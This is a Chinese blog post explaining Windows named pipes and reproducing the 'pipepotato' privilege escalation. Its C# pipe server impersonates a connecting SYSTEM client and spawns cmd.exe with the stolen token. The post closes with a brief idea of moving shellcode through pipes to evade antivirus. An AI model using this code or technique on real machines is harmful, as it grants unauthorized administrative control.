命名管道 Fay·D·Flourite

命名管道

概念

命名管道是进程间通讯的一种机制,用于进程之间单向或者双向传送数据,其实际定义相当于一个可供两个进程访问的文件,是在缓存中开辟的文件流空间。在浏览器上查看file://.//pipe//是可以看到相当于文件形式存在的各个命名管道的。

在process monitor中也能看到服务端客户端创建文件的详细过程

注:匿名管道只能单向传输,而命名管道可以用于同一台机器或不同机器间进程的数据传输

联动提权(坑区芭蕾

上篇文章说了提权靠SeDebugPrivilege获取token然后靠SeImpersonatePrivilege复制token创建进程

命名管道利用也是靠SeImpersonatePrivilege特权,模拟客户端的权限。

也就是说,我们创建一个带有SeImpersonatePrivilege特权的服务端,诱使system权限进程连接服务端,再模拟system权限做我们想做的事达到提权的效果。pipepotato就是如此

注:除了有权限,服务端也需要获取客户端handle用ImpersonateNamedPipeClient(hPipe)函数去模拟客户端权限,同时由于windows的严格控制,pipe本应该可以在不同计算机的进程之间进行连接,pipe服务端却在默认情况下不能模拟远程计算机客户端权限,其根本原因在于上面process monitor中的CreateFile()有四个等级的权限作为标记SECURITYANONYMOUSSECURITYIDENTIFICATIONSECURITYIMPERSONATIONSECURITYDELEGATION,默认的模拟等级为SECURITYIMPERSONATION,也就是只能模拟本机的权限。于是想远程调用pipe提本机的权不太可行。

The impersonation level determines the operations the server can perform while impersonating the client. By default, a server impersonates at the SecurityImpersonation impersonation level. However, when the client calls the CreateFile function to open a handle to the client end of the pipe, the client can use the SECURITY_SQOS_PRESENT flag to control the server’s impersonation level. —-摘自官方文档

光说不练假把式,我自己也试了一下用不同特权下两个进程通过pipe通信,(我试过了,是真的

除此之外,还有一点是低权限客户端无法连接高权限服务端

会在创建pipe文件时出现access denied,其实我看了整个服务端客户端过程,首次创建pipe文件是由客户端创建的,我估摸着可能是服务端启动时的一些类似注册表之类的操作导致了客户端无法创建这个同名文件,这里能解释后面pipepotato里的绕过

普通windows系统似乎无法用委派等级,也就导致如果在普通windows中用System.IO.Pipes.NamedPipeClientStream创建委派等级的客户端的话会报未知错误1346,如果在process monitor中查看的话可以很清楚的看到是bad impersonation导致的access denied,即错误的模拟等级。需要在域环境中使用。

同时,我是用c#写的脚本,c#提供了system.io.pipe,其中封装了用于建立pipe通信的函数,也包括其中有个方法叫RunAsClient(),看似和ImpersonateNamedPipeClient()是同样的作用,但尝试下来并不能用客户端的权限开启其他进程,不知道这个函数的过程是怎样的,所以还是得老老实实dllimport调用ImpersonateNamedPipeClient(hPipe)

注:大概清楚了,是自己的锅,在服务端开了线程池去连接客户端的情况下,模拟客户端权限实际上是线程模拟了客户端的token而非进程,所以无论是RunAsClient(),还是ImpersonateNamedPipeClient(),模拟了后都需要用OpenCurrentThreadToken()去获取该线程的token再进行模拟,才能达到提权的效果,这跟之前利用system进程提权就有了差别。

pipepotato 复现

pipepotato源于spoolsv.exe中的RpcRemoteFindFirstPrinterChangeNotificationEx()微软文档传送门

它的第四个参数可以指向一个unc地址,比如如果输入\\\\localhost,则会访问\\\\localhost\\pipe\\spoofss。利用思路是在unc地址参数处填入\\\\localhost\\pipe\\xx这类地址,让它实际访问变为\\\\localhost\\pipe\\xx\\pipe\\spoofss

就像上面说的,如果直接注册\\pipe\\spoolss会因为之前说的权限不足而失败,就不能将系统进程引到我们自建进程上,所以他才会想到通过注册\\pipe\\xx\\pipe\\spoolss的方式连接spoolsv.exe所占用的\\pipe\spoolss

poc编写思路

需要编写的东西

  • 一个rpc客户端调用spoolsv.exe的漏洞函数
  • 一个pipe服务端用于连接系统进程以及提权

rpc客户端的编写c++有个固定的模板传送门

源poc也是用的c++,再用c++写就没什么意义了,所以我换了c#写,不过c#写的poc复现失败了…

c#的rpc调用没有官方方法…要用第三方工具,powershell中用NtObjectManager获取rpc服务信息然后导出(支持直接导出为cs文件,可以直接在自己的程序中通过命名空间调用),再在c#中引入NtApiDotNet库,就可以调用rpc服务了。

但是把rpc服务的接口转成了c#后,调用函数时总会出错,目标函数需要有前置函数RpcOpenPrinter()或者RpcAddPrinter(),原本是返回一个PRINTER_HANDLE结构的地方由于第三方工具转c#的原因换成了第三方结构,然后函数怎么执行返回的都是0,导致后面的主要提权函数RpcRemoteFindFirstPrinterChangeNotificationEx()无法使用…

python 也有个第三方库 pythonforwindows 可以调用本地rpc服务器,后面再试试

pipe服务端编写就和上面介绍的一样,没有什么过多好赘述的。

给出自己的辣鸡代码

using System;
using System.IO;
using System.IO.Pipes;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Principal;


class createprogress
{
    [DllImport("advapi32.dll", EntryPoint = "ImpersonateNamedPipeClient")]
    public static extern int ImpersonateNamedPipeClient(
        IntPtr hNamedPipe
);
    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;

    }

    internal enum SECURITY_IMPERSONATION_LEVEL
    {
        SecurityAnonymous,
        SecurityIdentification,
        SecurityImpersonation,
        SecurityDelegation
    }

    internal enum TOKEN_TYPE
    {
        TokenPrimary = 1,
        TokenImpersonation
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }



    [StructLayout(LayoutKind.Sequential)]
    internal struct SECURITY_ATTRIBUTES
    {
        public uint nLength;
        public IntPtr lpSecurityDescriptor;
        public bool bInheritHandle;
    }


    [DllImport("advapi32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    static extern bool OpenProcessToken(IntPtr ProcessHandle,
        UInt32 DesiredAccess, out IntPtr TokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool DuplicateTokenEx(
    IntPtr hExistingToken,
    Int32 dwDesiredAccess,
    ref SECURITY_ATTRIBUTES lpThreadAttributes,
    Int32 ImpersonationLevel,
    Int32 dwTokenType,
    ref IntPtr phNewToken);

    [DllImport("advapi32.dll", EntryPoint = "CreateProcessWithTokenW", SetLastError = true,
                         CharSet = CharSet.Unicode,
                         CallingConvention = CallingConvention.StdCall)]
    private extern static bool CreateProcessWithTokenW(
        IntPtr hToken,
        uint dwLogonFlags,
        String lpApplicationName,
        String lpCommandLine,
        uint dwCreationFlags,
        IntPtr lpEnvironment,
        String lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("KERNEL32", SetLastError = true)]
    [ResourceExposure(ResourceScope.None)]
    internal static extern IntPtr
        GetCurrentThread();

    [DllImport("ADVAPI32", SetLastError = true, EntryPoint = "OpenThreadToken")]
    [ResourceExposure(ResourceScope.None)]
    internal static extern bool
        OpenCurrentThreadToken(
            [In] IntPtr ThreadHandle,
            [In] UInt32 DesiredAccess,
            [In] bool OpenAsSelf,
            [Out] out IntPtr TokenHandle);


    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr GetCurrentProcess();

    private const int GENERIC_ALL_ACCESS = 0x10000000;

    public const uint LOGON_WITH_PROFILE = 00000001;
    public const uint NORMAL_PRIORITY_CLASS = 0x00000020;
    private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
    private static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000;
    private static uint STANDARD_RIGHTS_READ = 0x00020000;
    private static uint TOKEN_ASSIGN_PRIMARY = 0x0001;
    private static uint TOKEN_DUPLICATE = 0x0002;
    private static uint TOKEN_IMPERSONATE = 0x0004;
    private static uint TOKEN_QUERY = 0x0008;
    private static uint TOKEN_QUERY_SOURCE = 0x0010;
    private static uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
    private static uint TOKEN_ADJUST_GROUPS = 0x0040;
    private static uint TOKEN_ADJUST_DEFAULT = 0x0080;
    private static uint TOKEN_ADJUST_SESSIONID = 0x0100;
    private static uint TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
    private static uint TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
        TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
        TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
        TOKEN_ADJUST_SESSIONID);

    public static void impersonateHandle(IntPtr hpipe)
    {
        int a = ImpersonateNamedPipeClient(hpipe);
        if (a == 0)
        {
            Console.WriteLine("[!] failed imporsonate namedpipe");
        }
        else
        {
            Console.WriteLine(a);
            Console.WriteLine("[+] success imporsonate namedpipe");
        };
    }

    public static int CreateProcessbytoken() {
        IntPtr tokenhandle = IntPtr.Zero;
        if (!OpenCurrentThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS,false, out tokenhandle))
        {
            Console.WriteLine("[!] failed open process token");
            return 100;
            //Console.WriteLine(OpenThreadToken((IntPtr)calcProcess, TOKEN_ADJUST_PRIVILEGES, false, out tokenhandle));
        };
        IntPtr newtoken = IntPtr.Zero;
        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();


        if (!DuplicateTokenEx(tokenhandle, (int)(TOKEN_ALL_ACCESS), ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, (int)TOKEN_TYPE.TokenPrimary, ref newtoken))
        {
            Console.WriteLine((int)(TOKEN_ALL_ACCESS));
            Console.WriteLine(TOKEN_ALL_ACCESS);
            Console.WriteLine("[!] failed duplicating process token ");
            int error = Marshal.GetLastWin32Error();
            string message = String.Format("DuplicateTokenEx Error: {0}", error);
            Console.WriteLine(message);
            return 101;
        }
        Console.WriteLine("[+] success duplicating process token ");

        String processpath = "C:\\Windows\\System32\\cmd.exe";

        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
        STARTUPINFO si = new STARTUPINFO();

        if (!CreateProcessWithTokenW(newtoken, LOGON_WITH_PROFILE, null, processpath, NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, IntPtr.Zero, null, ref si, out pi))
        {
            Console.WriteLine("[!] failed create process with token ");
            int error = Marshal.GetLastWin32Error();
            string message = String.Format("CreateProcessWithTokenW Error: {0}", error);
            Console.WriteLine(message);
            return 102;
        }

        Console.WriteLine("[+] success create process with token");

        return 103;
    }
    public static int CreateProgressTest()
    {
        IntPtr tokenhandle;

        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out tokenhandle))
        {
            Console.WriteLine("[!] failed open process token");
            return 100;
            //Console.WriteLine(OpenThreadToken((IntPtr)calcProcess, TOKEN_ADJUST_PRIVILEGES, false, out tokenhandle));
        };
        Console.WriteLine("[+] success open process token ");
        IntPtr newtoken = IntPtr.Zero;
        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();


        if (!DuplicateTokenEx(tokenhandle, (int)(TOKEN_ALL_ACCESS), ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, (int)TOKEN_TYPE.TokenPrimary, ref newtoken))
        {
            Console.WriteLine((int)(TOKEN_ALL_ACCESS));
            Console.WriteLine(TOKEN_ALL_ACCESS);
            Console.WriteLine("[!] failed duplicating process token ");
            int error = Marshal.GetLastWin32Error();
            string message = String.Format("DuplicateTokenEx Error: {0}", error);
            Console.WriteLine(message);
            return 101;
        }
        Console.WriteLine("[+] success duplicating process token ");

        String processpath = "C:\\Windows\\System32\\cmd.exe";

        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
        STARTUPINFO si = new STARTUPINFO();

        if (!CreateProcessWithTokenW(newtoken, LOGON_WITH_PROFILE, null, processpath, NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, IntPtr.Zero, null, ref si, out pi))
        {
            Console.WriteLine("[!] failed create process with token ");
            int error = Marshal.GetLastWin32Error();
            string message = String.Format("CreateProcessWithTokenW Error: {0}", error);
            Console.WriteLine(message);
            return 102;
        }

        Console.WriteLine("[+] success create process with token");

        return 103;
    }
    public void CreateProcessVoid()
    {
        createprogress.CreateProgressTest();
    }
    public createprogress()
    {
        int bala = 0;
    }
    public void cmdexec() {
        string str = "whoami";

        System.Diagnostics.Process p = new System.Diagnostics.Process();
        p.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";

        p.Start();//启动程序

    }

}

public class PipeServer
{
    private static int numThreads = 4;

    public static void Main()
    {
        int i;
        Thread[] servers = new Thread[numThreads];

        Console.WriteLine("\n*** Named pipe server stream with impersonation example ***\n");
        Console.WriteLine("Waiting for client connect...\n");
        for (i = 0; i < numThreads; i++)
        {
            servers[i] = new Thread(ServerThread);
            servers[i].Start();
        }
        Thread.Sleep(250);
        while (i > 0)
        {
            for (int j = 0; j < numThreads; j++)
            {
                if (servers[j] != null)
                {
                    if (servers[j].Join(250))
                    {
                        Console.WriteLine("Server thread[{0}] finished.", servers[j].ManagedThreadId);
                        servers[j] = null;
                        i--;    // decrement the thread watch count
                    }
                }
            }
        }
        Console.WriteLine("\nServer threads exhausted, exiting.");
    }

    private static void ServerThread(object data)
    {
        NamedPipeServerStream pipeServer =
            new NamedPipeServerStream("\\\\.\\pipe\\xxx\\pipe\\spoolss", PipeDirection.InOut, numThreads);

        int threadId = Thread.CurrentThread.ManagedThreadId;

        // Wait for a client to connect
        pipeServer.WaitForConnection();

        Console.WriteLine("Client connected on thread[{0}].", threadId);
        try
        {

            IntPtr hpipe = pipeServer.SafePipeHandle.DangerousGetHandle();
            //Console.WriteLine(hpipe);
            createprogress.impersonateHandle(hpipe);
            createprogress.CreateProcessbytoken();

        }
        // Catch the IOException that is raised if the pipe is broken
        // or disconnected.
        catch (IOException e)
        {
            Console.WriteLine("ERROR: {0}", e.Message);
        }
        //pipeServer.Close();
    }
}

用的进程直接打开cmd,测试同样可行,也包含通过token复制再通过token打开进程,修改316行执行函数即可。

pipe免杀

思想与之前的powershell后门其实相似,把shellcode通过pipe在进程之间传输,以避免某些静态查杀。